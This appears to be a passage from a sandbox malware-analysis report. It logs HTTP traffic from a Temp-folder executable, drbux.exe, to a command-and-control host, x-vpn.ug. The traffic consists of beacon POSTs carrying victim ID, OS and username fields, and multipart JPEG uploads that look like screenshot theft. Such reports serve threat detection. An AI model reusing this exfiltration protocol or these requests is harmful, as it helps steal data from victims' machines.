Jul 19, 2021 18:35:25.535686016 CEST	1984	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>
Jul 19, 2021 18:35:25.626097918 CEST	1984	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	49828	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.692475080 CEST	7764	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:58.692641020 CEST	7764	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:58.692883015 CEST	7774	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:58.693042040 CEST	7777	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:58.808162928 CEST	7780	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:58.808238029 CEST	7796	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:58.808274031 CEST	7803	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:58.907589912 CEST	7806	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:58.907660007 CEST	7832	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:35:58.915719032 CEST	7837	OUT	Data Raw: 87 53 81 a6 52 8a a1 12 66 8c d3 45 2d 51 23 e9 41 a6 8a 5a 68 96 48 0d 2d 30 1a 50 6a ee 4d 89 01 a7 03 51 6e a5 dd 4d 32 6c 4b 9a 5c d4 3b a8 dd 4f 98 39 49 b7 7b d1 bf 06 a0 dd 49 b8 d1 ce 2e 42 cf 99 ef 47 99 55 f3 46 ea 39 c3 91 16 3c ca 3c Data Ascii: SRfE-Q#AZhH-0PjMQnM2lK\;O9I{I.BGUF9<<UQp,oy7{p'FuB}>arnP5!rnQKw3Fj=n%Kf>sUqNq'!zQUv.TIqz\f;4RA2GKfiA
Jul 19, 2021 18:35:58.919893980 CEST	7853	OUT	Data Raw: 78 cc 60 fc a5 32 0e 3d eb 97 a2 a3 d9 47 fa f5 bf e6 57 b4 7f d7 a5 bf 23 4b 52 d6 a5 d4 ed b4 b4 30 88 65 b0 49 17 cc 56 e1 d9 e6 79 72 06 3e 5c 6f c6 39 e9 5b b6 be 27 d0 9f 56 b9 d5 2e b4 ab cb 4d 4e ea 39 37 5d db 4c b2 c5 0c ae 08 32 a4 04 Data Ascii: x`2=GW#KR0eIVyr>\o9['V.MN97]L2)[ pr\|Sc]KCWgX7\AG(m8'.Mhiq0q\lFZ0Xe{w(Iu}#PHE};/v63*A6:^XMso[G
Jul 19, 2021 18:35:59.146648884 CEST	7862	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	49830	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.993801117 CEST	7854	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:59.104640961 CEST	7862	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	49831	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:59.308027029 CEST	7863	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:59.411380053 CEST	7864	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	49832	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:59.416640043 CEST	7864	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:59.416817904 CEST	7864	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:59.416997910 CEST	7874	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:59.417081118 CEST	7877	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:59.500003099 CEST	7880	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:59.500076056 CEST	7900	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:59.500164986 CEST	7902	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:59.582963943 CEST	7905	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:59.583017111 CEST	7916	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:35:59.583039045 CEST	7919	OUT	Data Raw: ce 72 a2 bc df 65 3b ec 57 b1 a9 cc 9b 92 67 47 6b 6b 08 b7 bd 02 fe dc e6 10 09 0b 27 1f bc 4e 4f cb fe 73 56 bc 3f 6f 14 7a e5 bb 2d ec 12 11 bb e4 45 7c 9f 94 fa a8 15 87 1f 8d be 1b 44 93 20 f1 15 c6 25 4d 8d 9b 69 7a 6e 0d c7 ee bd 40 a9 2c Data Ascii: re;WgGkk'NOsV?oz-E\|D %Mizn@,\|y;E;:g GcXy~3?XSj,omd-/'pyMzQ&(p5h8_IfK_?i7jO8tD[&dkA;\|?
Jul 19, 2021 18:35:59.583085060 CEST	7926	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;
Jul 19, 2021 18:35:59.766511917 CEST	7962	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	49833	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:59.620793104 CEST	7955	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:59.718044996 CEST	7961	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	49834	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:59.927264929 CEST	7963	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:00.006356955 CEST	7963	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	49835	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:00.060530901 CEST	7964	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:00.060539007 CEST	7964	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:00.060555935 CEST	7974	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:00.060637951 CEST	7977	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:00.168891907 CEST	7977	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:00.170531034 CEST	7996	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:00.170571089 CEST	8003	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:00.270977020 CEST	8006	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:00.271038055 CEST	8019	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:36:00.274820089 CEST	8048	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;
